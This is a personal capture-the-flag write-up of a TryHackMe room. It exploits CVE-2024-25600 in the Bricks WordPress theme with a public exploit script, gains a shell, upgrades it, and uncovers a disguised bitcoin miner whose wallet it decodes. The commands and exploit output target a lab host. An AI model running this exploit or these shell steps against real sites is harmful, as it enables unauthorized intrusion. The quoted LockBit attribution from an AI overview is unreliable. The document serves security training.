

## Nmap Scan

```
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-22 01:57 UTC
Nmap scan report for bricks.thm (10.201.111.132)
Host is up (0.00080s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 c0e63434b153312bed43feb0d51184a7 (RSA)
|   256 9a6a662029bc9b1b0f8effdbe4f1c42a (ECDSA)
|_  256 1dafbf403cef20c81cb7353e28639e37 (ED25519)

80/tcp    open  http      WebSockify Python/3.8.10
|_ fingerprint-strings:
|   GetRequest:
|       HTTP/1.1 405 Method Not Allowed
|       Server: WebSockify Python/3.8.10
|       Date: Wed, 22 Oct 2025 01:57:43 GMT
|       Connection: close
|       Content-Type: text/html; charset=utf-8
|       Content-Length: 472
|       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|       "http://www.w3.org/TR/html4/strict.dtd">
|       <html>
|       <head>
|       <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|       <title>Error response</title>
|       </head>
|       <body>
|       <h1>Error response</h1>
|       <p>Error code: 405</p>
|       <p>Message: Method Not Allowed.</p>
|       <p>Error code explanation: 405 - Specified method is invalid for this resource.</p>

443/tcp   open  ssl/http  Apache httpd
|_ _http-title: Brick by Brick
|_ _http-generator: WordPress 6.5
|_ _ssl-date: TLS randomness does not represent time
|_ _ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
|_ Not valid before: 2024-04-02T11:59:14
|_ Not valid after: 2025-04-02T11:59:14
|_ _http-server-header: Apache
|_ _tls-alpn:
|   h2
|   http/1.1
|_ 3306/tcp open  mysql     MySQL (unauthorized)
```

Probable Exploit found (to test)

<https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT>

# CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution (RCE) 🌐

The Bricks theme for WordPress has been identified as vulnerable to a critical security flaw known as CVE-2024-25600. This vulnerability affects all versions up to, and including, 1.9.6 of the Bricks Builder plugin. It poses a significant risk as it allows unauthenticated attackers to execute arbitrary code remotely on the server hosting the vulnerable WordPress site. CVE-2024-25600 is classified under Remote Code Execution (RCE) vulnerabilities, enabling attackers to manipulate the server into executing malicious code without any authentication. This vulnerability exploits a flaw in the Bricks Builder plugin's handling of user input, allowing attackers to inject and execute PHP code remotely. The exploitation of this vulnerability can lead to full site compromise, data theft, and potential spreading of malware to site visitors.

The theme might be vulnerable.

```
[+] WordPress theme in use: bricks
| Location: https://bricks.thm/wp-content/themes/bricks/
| Readme: https://bricks.thm/wp-content/themes/bricks/readme.txt
| Style URL: https://bricks.thm/wp-content/themes/bricks/style.css
| Style Name: Bricks
| Style URI: https://bricksbuilder.io/
| Description: Visual website builder for WordPress...
| Author: Bricks
| Author URI: https://bricksbuilder.io/
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
| Version: 1.9.5 (80% confidence)
| Found By: Style (Passive Detection)
| - https://bricks.thm/wp-content/themes/bricks/style.css, Match: 'Version: 1.9.5'
```

Do:

git clone <https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT.git>

Then install: pip3 install alive\_progress

```
(root@kali)-[~/CVE-2024-25600-EXPLOIT]
# pip3 install alive_progress
Collecting alive_progress
  Downloading alive_progress-3.3.0-py3-none-any.whl (78 kB)
    78.4/78.4 kB 4.1 MB/s eta 0:00:00
Collecting graphemeu==0.7.2
  Downloading graphemeu-0.7.2-py3-none-any.whl (22 kB)
Collecting about-time==4.2.1
  Downloading about_time-4.2.1-py3-none-any.whl (13 kB)
Installing collected packages: graphemeu, about-time, alive_progress
Successfully installed about-time-4.2.1 alive_progress-3.3.0 graphemeu-0.7.2
```

```
(root@kali)-[~/CVE-2024-25600-EXPLOIT]
# python3 CVE-2024-25600.py -u https://bricks.thm

Coded By: K3ysTr0K3R → Hello, Friend!

[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://bricks.thm
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell> whoami
apache
```

Check suspicious processes:

```
UID=1000 PID=2093 | /usr/bin/python3 /usr/bin/blueman-tray
```

Marco PID=1912

Track process:

readlink -f /proc/<PID>/exe

```
<tscript/CMap$ find / -type d -name html 2>/dev/null
/data/www/default/phpmyadmin/doc/html
/data/www/default/wp-includes/blocks/html
```

Search directories

find /path/to/start -type d -name "\*html\*"

Things to check:

```
SELinux support: yes
Writable: /data/www/default/kod/data/temp/zipView/0ee70877530f9639ec4caa98f82ff96e8d1ad126.log
Writable: /data/www/default/kod/data/temp/zipView/0ee70877afc04cb6a3bdf5884808198695bbb7692.log
```

```
Unexpected in root
/data
/.badr-info
```

```
cat /.badr-info
userId: 61c393bd6a3b0f005f30c633
uploadId: 6617c16a5d6f174f72497cd4
roomId: 660d4bba2af127d8c7088119
roomCode: tryhack3mbricksheist
taskId: 660d4bd4e42d6d28b239350d
instanceId: 68f93958ad0339862bffe217
```

```
Searching root files in home dirs (limit 30)
/home/
/home/ubuntu/Downloads/lamp/lamp.log
/home/ubuntu/.bash_history
/root/
```

```
Files (scripts) in /etc/profile.d/
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/in
total 76
drwxr-xr-x  2 root root  4096 Feb 16  2024 .
drwxr-xr-x 155 root root 12288 Oct 22 20:08 ..
-rw-r--r--  1 root root   96 Dec  5  2019 01-locale-fix.sh
-rw-r--r--  1 root root  1557 Feb 17  2020 Z97-byobu.sh
-rwxr-xr-x  1 root root  3417 Aug 27  2020 Z99-cloud-locale-test.sh
-rwxr-xr-x  1 root root   873 Aug 27  2020 Z99-cloudinit-warnings.sh
-rw-r--r--  1 root root   835 May 29  2023 apps-bin-path.sh
-rw-r--r--  1 root root   729 Feb  2  2020 bash_completion.sh
-rw-r--r--  1 root root  1003 Aug 13  2019 cedilla-portuguese.sh
-rw-r--r--  1 root root  1107 Nov  3  2019 gawk.csh
-rw-r--r--  1 root root   757 Nov  3  2019 gawk.sh
-rw-r--r--  1 root root   349 Oct 28  2020 im-config_wayland.sh
-rw-r--r--  1 root root   188 May 18  2019 mate-qt.sh
-rw-r--r--  1 root root   234 Mar  3  2018 vala-panel-appmenu.sh
-rw-r--r--  1 root root  1368 Jun 11  2020 vte-2.91.sh
-rw-r--r--  1 root root   966 Jun 11  2020 vte.csh
-rw-r--r--  1 root root   954 Mar 26  2020 xdg_dirs_desktop_session.sh
```

```
/tmp/tmux-1001
```

```
4 /home/ubuntu/Downloads/lamp/.git
```

Upgrade shell



```
python3 -c 'import pty;pty.spawn ("/bin/bash")'
```

```
PID=84830 | /lib/NetworkManager/nm-inet-dialog  
PID=84831 | /lib/NetworkManager/nm-inet-dialog
```

```
CMD: UID=100 PID=462 | /lib/systemd/systemd-networkd  
CMD: UID=100 PID=360 | /lib/systemd/systemd-timesyncd
```

```
ubuntu.service loaded active running TRYHACK3M
```

```
apache@tryhackme:/data/www/default$ systemctl status ubuntu.service  
systemctl status ubuntu.service  
● ubuntu.service - TRYHACK3M  
   Loaded: loaded (/etc/systemd/system/ubuntu.service; enabled; vendor preset: enabled)  
   Active: active (running) since Thu 2025-10-23 00:50:23 UTC; 1s ago  
 Main PID: 3629 (nm-inet-dialog)  
    Tasks: 2 (limit: 4671)  
  Memory: 30.6M  
   CGroup: /system.slice/ubuntu.service  
           └─3629 /lib/NetworkManager/nm-inet-dialog  
             └─3630 /lib/NetworkManager/nm-inet-dialog  
apache@tryhackme:/data/www/default$ ps -p 3629 -o pid,ppid,cmd  
ps -p 3629 -o pid,ppid,cmd  
    PID    PPID  CMD  
    3629      1 /lib/NetworkManager/nm-inet-dialog
```

```
systemctl cat ubuntu.service  
# /etc/systemd/system/ubuntu.service  
[Unit]  
Description=TRYHACK3M  
  
[Service]  
Type=simple  
ExecStart=/lib/NetworkManager/nm-inet-dialog  
Restart=on-failure  
  
[Install]  
WantedBy=multi-user.target
```

```
strings /lib/NetworkManager/nm-inet-dialog | grep log
```

```
apache@tryhackme:/lib/NetworkManager$ head inet.conf
head inet.conf
ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a593235363303948526a4a6b52464a7a546d706b65466c525054303d
2024-04-08 10:46:04,743 [*] confbak: Ready!
2024-04-08 10:46:04,743 [*] Status: Mining!
2024-04-08 10:46:08,745 [*] Miner()
2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started
2024-04-08 10:46:08,745 [*] Status: Mining!
```

```
[*] confbak: Ready!
[*] Status: Mining!
[*] Miner()
[*] Bitcoin Miner Thread Started
[*] Status: Mining!
[*] Miner()
```

Recipe

Magic

Depth  
3

☐ Intensive mode

☐ Extensive language support

Crib (known plaintext string or regex)

Input

5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a593235363303948526a4a6b52464a7a546d706b65466c525054303d

312 1

Raw Bytes

Output

| Recipe (click to load)                                                                                                                                   | Result snippet                                                                        | Properties                                                                          |
|----------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------|
| <a href="#">From_Hex('None')</a><br><a href="#">From_Base64('A-Za-z0-9+/'', true, false)</a><br><a href="#">From_Base64('A-Za-z0-9+/'', true, false)</a> | bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qabc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa | Matching ops: From Base64, From Base85, From Hexdump<br>Valid UTF8<br>Entropy: 4.40 |

The result snippet is this:

Bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qabc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa

Which it is actually 2 bitcoin wallets

But the good one is:

Bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

By querying here: <https://btcscan.org/address/bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa>

## Bitcoin Address

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

Address bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa has 8 transactions on the Bitcoin blockchain. Last balance change was 2024-08-27 13:41:05 UTC. It has received a total of 15.53073303 BTC and has sent a total of 15.53073303 BTC. The current balance of this address is 0 BTC.



from which threat group is this wallet address: bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

## Sponsored results

Hide sponsored results ^

### ✦ AI Overview

The bitcoin wallet address **bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa** has been associated with the LockBit threat group. 

This information comes from analyses of transactions identified in a TryHackMe "Bricks Heist" cybersecurity challenge, which simulated activity connected to the ransomware-as-a-service operation. 

## Badge Earned!

Your dedication just paid off! You've earned the 3 Million Legend badge. Keep pushing forward and collect even more achievements as you progress. The next challenge awaits!



### 3 Million Legend

Was a legend and solved any room in the 3 Million Users Special Module!